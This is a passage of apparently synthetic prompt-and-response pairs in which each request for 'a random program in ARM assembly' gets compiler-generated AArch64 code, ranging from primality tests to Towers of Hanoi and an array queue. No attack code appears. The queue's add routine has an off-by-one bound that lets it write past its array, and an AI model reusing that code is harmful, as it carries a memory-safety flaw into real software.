ldr w0, [sp, 24]
cmp w0, 0
bne .L13
mov w0, 1
b .L14
.L13:
ldr w0, [sp, 24]
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
ldr w2, [sp, 20]
mov w1, w0
ldr w0, [sp, 28]
bl power_mod
sxtw x0, w0
str x0, [sp, 40]
ldr x0, [sp, 40]
mul x0, x0, x0
ldrsw x1, [sp, 20]
sdiv x2, x0, x1
mul x1, x2, x1
sub x1, x0, x1
ldr w0, [sp, 24]
and w0, w0, 1
cmp w0, 0
beq .L15
ldrsw x0, [sp, 28]
b .L16
.L15:
mov x0, 1
.L16:
mul x0, x0, x1
ldrsw x1, [sp, 20]
sdiv x2, x0, x1
mul x1, x2, x1
sub x0, x0, x1
.L14:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size power_mod, .-power_mod
.align 2
.global fermat
.type fermat, %function
fermat:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
ldr w1, [sp, 28]
mov w0, 44529
movk w0, 0x76, lsl 16
add w0, w1, w0
bl srand
str wzr, [sp, 44]
b .L18
.L21:
bl rand
mov w1, w0
ldr w0, [sp, 28]
sub w0, w0, #2
sdiv w2, w1, w0
mul w0, w2, w0
sub w0, w1, w0
add w3, w0, 2
ldr w0, [sp, 28]
sub w0, w0, #1
ldr w2, [sp, 28]
mov w1, w0
mov w0, w3
bl power_mod
cmp w0, 1
beq .L19
mov w0, 0
b .L20
.L19:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L18:
ldr w0, [sp, 44]
cmp w0, 122
ble .L21
mov w0, 1
.L20:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size fermat, .-fermat
.align 2
.global miller_rabin
.type miller_rabin, %function
miller_rabin:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
ldr w1, [sp, 28]
mov w0, 44529
movk w0, 0x76, lsl 16
add w0, w1, w0
bl srand
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 36]
nop
str wzr, [sp, 32]
b .L23
.L28:
bl rand
mov w1, w0
ldr w0, [sp, 28]
sub w0, w0, #2
sdiv w2, w1, w0
mul w0, w2, w0
sub w0, w1, w0
add w0, w0, 2
ldr w2, [sp, 28]
ldr w1, [sp, 36]
bl power_mod
sxtw x0, w0
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 1
beq .L29
ldr x0, [sp, 40]
cmn x0, #1
beq .L29
mov w0, 0
b .L27
.L29:
nop
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L23:
ldr w0, [sp, 32]
cmp w0, 122
ble .L28
mov w0, 1
.L27:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size miller_rabin, .-miller_rabin
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type AF_NO_REMAP, %function
AF_NO_REMAP:
.LFB0:
.cfi_startproc
nop
ret
.cfi_endproc
.LFE0:
.size AF_NO_REMAP, .-AF_NO_REMAP
.align 2
.type AF__HAL_AFIO_REMAP_I2C1_DISABLE, %function
AF__HAL_AFIO_REMAP_I2C1_DISABLE:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size AF__HAL_AFIO_REMAP_I2C1_DISABLE, .-AF__HAL_AFIO_REMAP_I2C1_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_I2C1_ENABLE, %function
AF__HAL_AFIO_REMAP_I2C1_ENABLE:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size AF__HAL_AFIO_REMAP_I2C1_ENABLE, .-AF__HAL_AFIO_REMAP_I2C1_ENABLE
.align 2
.type AF__HAL_AFIO_REMAP_SPI1_DISABLE, %function
AF__HAL_AFIO_REMAP_SPI1_DISABLE:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size AF__HAL_AFIO_REMAP_SPI1_DISABLE, .-AF__HAL_AFIO_REMAP_SPI1_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_SPI1_ENABLE, %function
AF__HAL_AFIO_REMAP_SPI1_ENABLE:
.LFB4:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE4:
.size AF__HAL_AFIO_REMAP_SPI1_ENABLE, .-AF__HAL_AFIO_REMAP_SPI1_ENABLE
.align 2
.type AF__HAL_AFIO_REMAP_TIM1_DISABLE, %function
AF__HAL_AFIO_REMAP_TIM1_DISABLE:
.LFB5:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size AF__HAL_AFIO_REMAP_TIM1_DISABLE, .-AF__HAL_AFIO_REMAP_TIM1_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_TIM1_PARTIAL, %function
AF__HAL_AFIO_REMAP_TIM1_PARTIAL:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size AF__HAL_AFIO_REMAP_TIM1_PARTIAL, .-AF__HAL_AFIO_REMAP_TIM1_PARTIAL
.align 2
.type AF__HAL_AFIO_REMAP_TIM2_DISABLE, %function
AF__HAL_AFIO_REMAP_TIM2_DISABLE:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size AF__HAL_AFIO_REMAP_TIM2_DISABLE, .-AF__HAL_AFIO_REMAP_TIM2_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_TIM2_PARTIAL_1, %function
AF__HAL_AFIO_REMAP_TIM2_PARTIAL_1:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size AF__HAL_AFIO_REMAP_TIM2_PARTIAL_1, .-AF__HAL_AFIO_REMAP_TIM2_PARTIAL_1
.align 2
.type AF__HAL_AFIO_REMAP_TIM2_PARTIAL_2, %function
AF__HAL_AFIO_REMAP_TIM2_PARTIAL_2:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size AF__HAL_AFIO_REMAP_TIM2_PARTIAL_2, .-AF__HAL_AFIO_REMAP_TIM2_PARTIAL_2
.align 2
.type AF__HAL_AFIO_REMAP_TIM3_DISABLE, %function
AF__HAL_AFIO_REMAP_TIM3_DISABLE:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size AF__HAL_AFIO_REMAP_TIM3_DISABLE, .-AF__HAL_AFIO_REMAP_TIM3_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_TIM3_PARTIAL, %function
AF__HAL_AFIO_REMAP_TIM3_PARTIAL:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size AF__HAL_AFIO_REMAP_TIM3_PARTIAL, .-AF__HAL_AFIO_REMAP_TIM3_PARTIAL
.align 2
.type AF__HAL_AFIO_REMAP_TIM4_DISABLE, %function
AF__HAL_AFIO_REMAP_TIM4_DISABLE:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size AF__HAL_AFIO_REMAP_TIM4_DISABLE, .-AF__HAL_AFIO_REMAP_TIM4_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_USART1_DISABLE, %function
AF__HAL_AFIO_REMAP_USART1_DISABLE:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size AF__HAL_AFIO_REMAP_USART1_DISABLE, .-AF__HAL_AFIO_REMAP_USART1_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_USART1_ENABLE, %function
AF__HAL_AFIO_REMAP_USART1_ENABLE:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size AF__HAL_AFIO_REMAP_USART1_ENABLE, .-AF__HAL_AFIO_REMAP_USART1_ENABLE
.align 2
.type AF__HAL_AFIO_REMAP_USART2_DISABLE, %function
AF__HAL_AFIO_REMAP_USART2_DISABLE:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size AF__HAL_AFIO_REMAP_USART2_DISABLE, .-AF__HAL_AFIO_REMAP_USART2_DISABLE
.align 2
.type AF__HAL_AFIO_REMAP_USART3_DISABLE, %function
AF__HAL_AFIO_REMAP_USART3_DISABLE:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl AF_NO_REMAP
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size AF__HAL_AFIO_REMAP_USART3_DISABLE, .-AF__HAL_AFIO_REMAP_USART3_DISABLE
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global duplica
.type duplica, %function
duplica:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
str x0, [sp, 40]
ldr x1, [sp, 24]
ldr x0, [sp, 40]
bl strcpy
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size duplica, .-duplica
.section .rodata
.align 3
.LC0:
.string "%c"
.align 3
.LC1:
.string "%s"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -256]!
.cfi_def_cfa_offset 256
.cfi_offset 29, -256
.cfi_offset 30, -248
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 248]
mov x1, 0
mov w0, 9
str w0, [sp, 20]
str wzr, [sp, 16]
b .L4
.L5:
add x1, sp, 40
ldrsw x0, [sp, 16]
add x0, x1, x0
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L4:
ldr w1, [sp, 16]
ldr w0, [sp, 20]
cmp w1, w0
blt .L5
ldrsw x0, [sp, 20]
add x1, sp, 40
strb wzr, [x1, x0]
add x0, sp, 40
str x0, [sp, 24]
add x0, sp, 144
mov x1, x0
ldr x0, [sp, 24]
bl duplica
str x0, [sp, 32]
ldr x1, [sp, 32]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 248]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L7
bl __stack_chk_fail
.L7:
mov w0, w1
ldp x29, x30, [sp], 256
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global ctest1
.type ctest1, %function
ctest1:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
mov w1, 100
str w1, [x0]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size ctest1, .-ctest1
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x1, [x0]
add x0, sp, 32
mov x2, x1
mov w1, 5
bl fgets
bl getchar
strb w0, [sp, 31]
add x0, sp, 32
bl puts
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "a=%.2f, b=%.2f, c=%.2f, d=%.2f\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, .LC1
ldr d0, [x0, #:lo12:.LC1]
str d0, [sp, 48]
b .L2
.L10:
ldr d0, [sp, 48]
str d0, [sp, 56]
b .L3
.L9:
ldr d0, [sp, 56]
str d0, [sp, 64]
b .L4
.L8:
ldr d0, [sp, 64]
str d0, [sp, 72]
b .L5
.L7:
ldr d1, [sp, 48]
ldr d0, [sp, 56]
fmul d1, d1, d0
ldr d0, [sp, 64]
fmul d1, d1, d0
ldr d0, [sp, 72]
fmul d0, d1, d0
mov x0, 4636737291354636288
fmov d1, x0
fmul d0, d0, d1
fcvtzs w0, d0
str w0, [sp, 40]
ldr d1, [sp, 48]
ldr d0, [sp, 56]
fadd d1, d1, d0
ldr d0, [sp, 64]
fadd d1, d1, d0
ldr d0, [sp, 72]
fadd d0, d1, d0
mov x0, 4636737291354636288
fmov d1, x0
fmul d0, d0, d1
fcvtzs w0, d0
str w0, [sp, 44]
ldr w0, [sp, 40]
cmp w0, 711
bne .L6
ldr w0, [sp, 44]
cmp w0, 711
bne .L6
ldr d3, [sp, 72]
ldr d2, [sp, 64]
ldr d1, [sp, 56]
ldr d0, [sp, 48]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
bl exit
.L6:
ldr d0, [sp, 72]
adrp x0, .LC1
ldr d1, [x0, #:lo12:.LC1]
fadd d0, d0, d1
str d0, [sp, 72]
.L5:
ldr d0, [sp, 72]
adrp x0, .LC2
ldr d1, [x0, #:lo12:.LC2]
fcmpe d0, d1
bmi .L7
ldr d0, [sp, 64]
adrp x0, .LC1
ldr d1, [x0, #:lo12:.LC1]
fadd d0, d0, d1
str d0, [sp, 64]
.L4:
ldr d0, [sp, 64]
adrp x0, .LC2
ldr d1, [x0, #:lo12:.LC2]
fcmpe d0, d1
bmi .L8
ldr d0, [sp, 56]
adrp x0, .LC1
ldr d1, [x0, #:lo12:.LC1]
fadd d0, d0, d1
str d0, [sp, 56]
.L3:
ldr d0, [sp, 56]
adrp x0, .LC2
ldr d1, [x0, #:lo12:.LC2]
fcmpe d0, d1
bmi .L9
ldr d0, [sp, 48]
adrp x0, .LC1
ldr d1, [x0, #:lo12:.LC1]
fadd d0, d0, d1
str d0, [sp, 48]
.L2:
ldr d0, [sp, 48]
adrp x0, .LC2
ldr d1, [x0, #:lo12:.LC2]
fcmpe d0, d1
bmi .L10
mov w0, 1
bl exit
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.LC1:
.word 1202590843
.word 1065646817
.align 3
.LC2:
.word -687194767
.word 1075605667
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "move disk 1 from %c to %c\n"
.align 3
.LC1:
.string "move disk %d from %c to %c\n"
.text
.align 2
.global move
.type move, %function
move:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
strb w1, [sp, 27]
strb w2, [sp, 26]
strb w3, [sp, 25]
ldr w0, [sp, 28]
cmp w0, 1
bne .L2
ldrb w0, [sp, 27]
ldrb w1, [sp, 26]
mov w2, w1
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
b .L1
.L2:
ldr w0, [sp, 28]
sub w0, w0, #1
ldrb w3, [sp, 26]
ldrb w2, [sp, 25]
ldrb w1, [sp, 27]
bl move
ldrb w0, [sp, 27]
ldrb w1, [sp, 26]
mov w3, w1
mov w2, w0
ldr w1, [sp, 28]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr w0, [sp, 28]
sub w0, w0, #1
ldrb w3, [sp, 27]
ldrb w2, [sp, 26]
ldrb w1, [sp, 25]
bl move
.L1:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size move, .-move
.section .rodata
.align 3
.LC2:
.string "need one positive integer."
.text
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr w0, [sp, 28]
cmp w0, 1
bgt .L5
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
mov w0, 1
b .L6
.L5:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
mov w2, 10
mov x1, 0
bl strtol
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bgt .L7
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
mov w0, 1
b .L6
.L7:
mov w3, 67
mov w2, 66
mov w1, 65
ldr w0, [sp, 44]
bl move
mov w0, 0
.L6:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global q
.bss
.align 3
.type q, %object
.size q, 40
q:
.zero 40
.global front
.data
.align 2
.type front, %object
.size front, 4
front:
.word -1
.global rear
.align 2
.type rear, %object
.size rear, 4
rear:
.word -1
.section .rodata
.align 3
.LC0:
.string "\nMENU:\n\n1.Add an element\n2.Delete an element\n3.Display Queue\nAny other number to Exit"
.align 3
.LC1:
.string "%d"
.align 3
.LC2:
.string "\nEnter the element to be added"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
.L7:
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
add x0, sp, 16
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w0, [sp, 16]
cmp w0, 3
beq .L2
cmp w0, 3
bgt .L3
cmp w0, 1
beq .L4
cmp w0, 2
beq .L5
b .L3
.L4:
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
add x0, sp, 20
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w2, [sp, 20]
adrp x0, q
add x1, x0, :lo12:q
mov w0, w2
bl add
b .L6
.L5:
adrp x0, q
add x0, x0, :lo12:q
bl del
b .L6
.L2:
adrp x0, q
add x0, x0, :lo12:q
bl display
b .L6
.L3:
mov w0, 0
bl exit
.L6:
ldr w0, [sp, 16]
cmp w0, 0
bne .L7
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 24]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L8
bl __stack_chk_fail
.L8:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.LC3:
.string "\nQueue Overflow"
.text
.align 2
.global add
.type add, %function
add:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, rear
add x0, x0, :lo12:rear
ldr w0, [x0]
cmp w0, 9
bgt .L10
adrp x0, rear
add x0, x0, :lo12:rear
ldr w0, [x0]
add w1, w0, 1
adrp x0, rear
add x0, x0, :lo12:rear
str w1, [x0]
adrp x0, rear
add x0, x0, :lo12:rear
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 28]
str w1, [x0]
b .L12
.L10:
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
.L12:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size add, .-add
.section .rodata
.align 3
.LC4:
.string "\nElement deleted is %d"
.align 3
.LC5:
.string "\nQueue underflow"
.text
.align 2
.global del
.type del, %function
del:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
adrp x0, front
add x0, x0, :lo12:front
ldr w1, [x0]
adrp x0, rear
add x0, x0, :lo12:rear
ldr w0, [x0]
cmp w1, w0
bge .L14
adrp x0, front
add x0, x0, :lo12:front
ldr w0, [x0]
add w1, w0, 1
adrp x0, front
add x0, x0, :lo12:front
str w1, [x0]
adrp x0, front
add x0, x0, :lo12:front
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
adrp x0, front
add x0, x0, :lo12:front
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
str wzr, [x0]
b .L16
.L14:
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
.L16:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size del, .-del
.section .rodata
.align 3
.LC6:
.string "QUEUE: "
.align 3
.LC7:
.string "%d "
.text
.align 2
.global display
.type display, %function
display:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
adrp x0, front
add x0, x0, :lo12:front
ldr w0, [x0]
str w0, [sp, 44]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
b .L18
.L19:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl printf
.L18:
adrp x0, rear
add x0, x0, :lo12:rear
ldr w0, [x0]
ldr w1, [sp, 44]
cmp w1, w0
blt .L19
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size display, .-display
``` |